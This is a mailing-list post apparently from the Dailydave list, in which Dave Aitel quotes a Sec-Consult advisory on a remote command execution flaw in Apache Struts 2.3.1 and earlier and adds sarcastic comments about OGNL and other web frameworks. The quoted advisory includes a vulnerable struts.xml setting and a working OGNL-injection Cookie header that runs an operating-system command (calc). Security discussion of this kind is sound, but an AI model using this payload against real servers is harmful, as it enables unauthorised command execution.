[Dailydave] Apache Struts

[Dave Aitel]

Just how bad is that Sec-Consult Apache Struts vulnerability...

(from their advisory)
___

2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)

Given struts.xml is configured to handle all cookie names (independent
of limited cookie values):
	<action name="Test" class="example.Test">
		<interceptor-ref name="cookie">
			<param name="cookiesName">*</param>
			<param name="cookiesValue">1,2</param>
		</interceptor-ref>
		<result ...>
	</action>

The following HTTP header will execute an OS command when sent to
Test.action:
	Cookie:	(#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1;
	x[@java.lang.Runtime at getRuntime().exec('calc')]=1

___

I assume Struts is extremely widely used and everyone is already owned?
Who was it who thought that OGNL was a good idea? Between this and .Net
being completely broken, the only platforms left are Ruby on Rails and
Python's Django! Oh, and PHP! :>
